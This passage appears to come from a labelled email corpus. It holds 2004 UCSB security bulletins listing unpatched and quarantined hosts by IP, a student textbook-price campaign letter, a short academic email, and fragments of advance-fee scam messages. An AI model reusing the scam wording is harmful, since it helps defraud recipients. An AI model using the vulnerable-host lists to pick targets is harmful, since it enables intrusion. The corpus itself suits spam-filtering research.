List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. Check the system for rogue services (e.g. back doors, FTP servers, etc.). www.foundstone.com has a nice tool called Vision for identifying ~ ports and processes on Windows hosts. If your host is in the ""Filtered Hosts"" list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.40.37 katie.cs.ucsb.edu 128.111.72.234 rkrechet.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.88 -- 128.111.110.246 ocelote.bren.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.138.160 -- 128.111.162.145 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.221.50 dhcp15.mat.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.207 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.20.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.29.141 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.45 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.100 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.21 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.217 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.205 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.22 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.88.58 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.48 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.125.111 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.125.112 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.103 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.56 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.59 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.176 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.123 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.132 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 43 RPCSS Vulnerable ............................. 60 DCOM Disabled ................................ 48 Not Vulnerable ............................... 2964 Errors ....................................... 25 TCP Port 135 Closed or Host Timeout .......... 62438 TOTAL HOSTS SCANNED .......................... 65536 - -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (FreeBSD) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFABX7admix5YBg0scRAgA7AJ4jRVgcMxXFGEvOcTn1BKmNlinaiQCgnvYI 03ejmepRJD+QW+c/SuNstyo= =zgt4 -----END PGP SIGNATURE----- _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Arista Ann Hickman ,"XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXX@XXXXXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXX@XXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXX@XXXXXX.XXXXXXX.XXX, XXXXX@XXXX.XXXXXXX.XXX, XXXXXX@XXXXXXX.XXXXXXX.XXX, XXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXX@XXXXXXX.XXXXXXX.XXX, XXXX@XXXX.XXXXXXX.XXX, XXXXX@XXXX.XXXXXXX.XXX, XXXXXX@XXXX.XXXXXXX.XXX, XXXX@XXXX.XXXXXXX.XXX, XXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXXXX@XXXXX.XXX, XXXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXX@XXXX.XXXXXXX.XXX, XXXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXXX@XXXX.XXXXXXX.XXX, XXXXXXXX@XXXXXXXX.XXXXXXX.XXX, XX@XXXXXXX.XXX, XXXXXXX@XXXX.XXXXXXX.XXX, XXXXXXX@XXXXXXXX.XXXXXXX.XXX, XXX@XXXX.XXXXXXX.XXX, XXXX@XXXX.XXXXXXX.XXX, XXX@XXXX.XXXXXXX.XXX, XXX@XXXXXXXX.XXXXXXX.XXX","Wed, 14 Jan 2004 16:32:27 -0800",Please Review and Advise,"Dear Math Department Professor: I hope you had a relaxing break. As you probably know, OsPIRG is a student-directed advocacy group based here at the University of Oregon. We are writing to ask you to sign on to our attached letter as part of our Affordable Textbooks Campaign. OsPIRG is currently engaged in a statewide campaign that seeks way to reduce textbook costs for students. Specifically, we are attempting to adopt ways in which to increase the length of time that used (and less expensive) textbooks stay on the textbook market as well as ways to reduce the price of brand new textbooks. Both OsPIRG and CalPIRG regarding the costs and distribution of textbooks did an in-depth research project. They have found that a factor that diminishes the amount of time a used textbook remains viable is the frequency with which a new textbook edition is produced, since a new edition tends to make all older editions obsolete and unusable. Anecdotally, many faculty and students have expressed the opinion that the content differences between new and older textbook editions appear to be minimal and not worth the increased cost associated with having to purchase a textbook completely new. The reports also found that a factor that appears to increase the price of new textbooks are additional instructional materials, such as a workbook, or a CD, that often come bundled together in shrink wrap packaging with the core textbook. Many faculty and students have also expressed the opinion that the additional instructional material that are bundled together with the main text, while informational, are not ever used for the class. The authors of the report surveyed faculty who taught one of the top five most purchased textbooks in their Fall quarter classes and in total, over 150 faculty members from 13 schools in California and Oregon responded to the survey. The results of the survey indicate that the average student now spends almost $900/year on textbooks, and that prices have risen at twice the rate of inflation since 1996. Many faculty members expressed concern that one reason why textbooks have gotten so expensive is that publishers often produce new textbook editions with only cosmetic changes, forcing students to forgo the older, less expensive edition. In particular, widespread concern was found among mathematics faculty members that newer, more expensive editions of introductory calculus texts are needlessly produced, despite little to no change in the field since the end of the 19th century. A widely cited example is the popular introduction-to-calculus textbook, Calculus: Early Transcedentals, written by James Stewart and published by Brooks/Cole. The changes between the current edition (produced last year), and the previous edition (produced in 1999), are primarily cosmetic. The price difference, however, between a used copy of the previous edition ($97 on the average) and a new copy of the current edition ($137 on the average) is around $40 - quite significant to many students. In addition, Brooks/Cole offers the book online for $125 in the United States, but the equivalent of $65 (35 pounds) in England and $97 ($125 Canadian) in Canada. In total 77% of faculty surveyed thought that new editions they used were justified ""never"" to ""half the time"", and a full 40% thought that new editions were ""rarely to never"" justified. Finally, it was found that online textbooks is a promising way for publishers to lower the cost of textbooks, while maintaining or increasing their profit margin. Noted New York Times columnist Paul Krugman has just offered an online version of his textbook, and is promoting this practice in the industry. CALPIRG, and the other state PIRGs is calling on Brooks/Cole to modify its practices in the following ways: 1. Continue to publish the current edition of this textbook until there has been significantly new content in the field of calculus that would justify an update. 2. Establish a more transparent and fairer pricing scheme so that students in America are getting charged the same amount as their counterparts in other countries. 3. Disclose to faculty all of Brooks/Cole's products, their prices, and the length of time Brooks/Cole intends to keep the current editions of their textbooks and related instructional materials. 4. Encourage Brooks/Cole to produce Calculus: Early Transcedentals as an online textbook, and pass the cost savings on to students. While the extent of the problem is not limited to calculus texts or to Brooks/Cole, we think the problem is most egregiously demonstrated in this instance, so we believe that it is smartest to begin here, as a means to press for more industry wide changes. Obviously, this will only work if mathematics faculty members are supportive of this effort, and so we are working to fine tune our plans before we launch the campaign on January 29. On that date, we will release the findings of our survey and announce our effort aimed at Brooks/Cole. I've attached a draft of the letter that we are planning to circulate amongst mathematics faculty both here and at 100 other universities nationwide. I was hoping that you would be willing to review both documents and offer any comments, feedback and suggestions that come to mind. We are asking roughly 30 of your other colleagues on the West Coast for feedback as well. If you are interested in reviewing a draft copy of our report, I can forward that along to you as well (I assumed you'd be too busy for that). I recognize that the start of the quarter is a busy time for you; it would be greatly helpful if you were able to reply by Monday, January 19. I will phone to follow up, in case you would prefer simply to discuss your thoughts over the phone. I can be reached at (541) 346-4377. Thank you. Sincerely, Arista Hickman ******************************************* DRAFT - CONFIDENTIAL - DRAFT We, the undersigned mathematics faculty, are writing to express our concern with the cost of your undergraduate mathematics textbook and to respectfully request that your company take some simple steps to alleviate this problem. As you know, the cost of college textbooks has risen considerably in the last few years. Recent surveys done by the University of California (UC), the California Student Public Interest Research Group (CALPIRG), and the Oregon Student Public Interest Research Group (OSPIRG) show that between 1996 and 2003, the average student's yearly textbook costs have risen from $642 to $898, a 40% increase, and two times the rate of inflation during that time period. Compounded with the overall recent increases in tuition and other college costs, we are increasingly concerned for our students' ability to either pay for college or to fully take advantage of all of the educational opportunities available to them while at college. Naturally, we would like to ensure that textbooks are priced as fairly as possible, and we are concerned with the cost of your introductory calculus textbook - Calculus: Early Transcedentals, Edition Five. We are generally satisfied with the actual content of the text. We are concerned, however, with a number of items: 1. The previous edition of the book (Edition Four) was out on the market for only three years before you produced the most current edition (Edition Five), in 2003. We believe that most of the changes made to the edition were not central to the field - indeed, the field of Calculus has not changed much since the end of the 19th century! This is significant to students' costs, because a student can buy a used version of the current edition for considerably less than a new edition. However, it is impossible for students to obtain used copies of this book when you produce a new edition. In addition, the unnecessary production of new textbook editions also inconveniences faculty members, who must spend time revising syllabi and other instructional materials to accommodate the ""changes"" to the text. 2. Your website offers the book for $125 in the United States, but for the equivalent of $65 (35 pounds) in England and for $97 ($125 Canadian) in Canada. In our mind, there is no reasonable explanation for this. We believe that you would be sympathetic to these issues, and so, as a remedy, we are asking your company to commit to the following changes in your publishing plan for the aforementioned textbook: 1. Continue to publish the current edition of this textbook until there has been significantly new content in the field of calculus that would justify an update. 2. Establish a more transparent and fairer pricing scheme so that students in America are getting charged the same amount as their counterparts in other countries. 3. Ensure that your sales materials and sales representatives disclose to faculty all of products, their prices, and the length of time Brooks/Cole intends to keep on the market the current editions of their textbooks and related instructional materials. 4. Produce Calculus: Early Transcedentals as an online textbook, and pass the cost savings on to students. College costs have risen dramatically in the past year. Subsequently, we believe that quick action must be taken to reduce students' costs in as many ways as reasonably possible. Therefore, we request your urgent action on this matter. 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All occupants of the vehicle unfortunately lost there lives. Since then I have made several enquiries to your embassy here to locate any of my clients extended relatives, this has also proved unsuccessful. After these several unsuccessful attempts, I decided to look for any body who will be willing to assist me in recovering the fund valued at US$10.5 million left behind by my client before it gets confisicated or declared unserviceable by the Bank where this huge amount were deposited. The said Bank has issued me a notice to provide the next of kin or have the account confisicated within the next twenty one official working days.Since I have been unsuccesfull in locating the relatives for over 2 years now, I seek your consent to present you as the next of kin to the deceased hence I have all the legal document to back you up for the claim, so that the proceeds of this account can be paid to you. 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The community might get over run by spammers, but so far, is extremely useful. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 Katy Borner ,katy_iv@indiana.edu,"Thu, 15 Jan 2004 14:42:56 -0500",burst,"R_AGENT 0.000' Content-Length: 437 Status: R Who integrated the Burst alg into the XML toolkit? k -- Katy Borner, Assistant Professor Information Science & Cognitive Science Indiana University, SLIS 10th Street & Jordan Avenue Phone: (812) 855-3256 Fax: -6166 Main Library 019 E-mail: katy@indiana.edu Bloomington, IN 47405, USA WWW: ella.slis.indiana.edu/~katy Check out the new InfoVis Lab Gallery at http://ella.slis.indiana.edu/~katy/gallery/ ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA20163 for ; Fri, 16 Jan 2004 13:46:28 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA29495 for ; Fri, 16 Jan 2004 13:46:28 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AhbnO-000M4z-BD; Fri, 16 Jan 2004 13:46:26 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AhbnJ-000M4l-AE; Fri, 16 Jan 2004 13:46:21 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AhbnH-000M4g-TJ; Fri, 16 Jan 2004 13:46:19 -0800 Message-ID: <40085BAA.7000506@UCSB.edu> Date: Fri, 16 Jan 2004 13:46:18 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. Check the system for rogue services (e.g. back doors, FTP servers, etc.). www.foundstone.com has a nice tool called Vision for identifying ports and processes on Windows hosts. If your host is in the ""Filtered Hosts"" list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.101.189 iinstall.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.138.160 -- 128.111.162.145 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.225.113 -- 128.111.229.207 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.20.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.29.141 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.30.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.30.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.31.45 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.31.52 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.32.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.27 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.14 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.38.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.60.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.21 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.71.219 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.72.176 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.74.205 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.75.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.70 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.75.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.22 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.88.58 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.113.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.56 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.180.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.46 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.176 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.197.123 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.205.172 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.64 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable]128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.211 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 38 RPCSS Vulnerable ............................. 75 DCOM Disabled ................................ 52 Not Vulnerable ............................... 3363 Errors ....................................... 33 TCP Port 135 Closed or Host Timeout .......... 62127 TOTAL HOSTS SCANNED .......................... 114460 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 keny benson ,XXXXXXX@bXXXXXXX.XXX,"Sat, 17 Jan 2004 00:16:27 +0100",URGENT ASSISTANCE," FROM MRS .JOYCE MANFRED ADDRESS:SAINT PAUL CHURCH LOME,TOGO. ATTN: I AM .MRS JOYCE, THE WIFE OF LATE MR JOSEPH MANFRED .MY HUSBAND WAS A COCOA MERCHANT BASED IN ABIDJAN, THE ECONOMIC CAPITAL OF IVORY COAST(COTE D'IVOIRE). 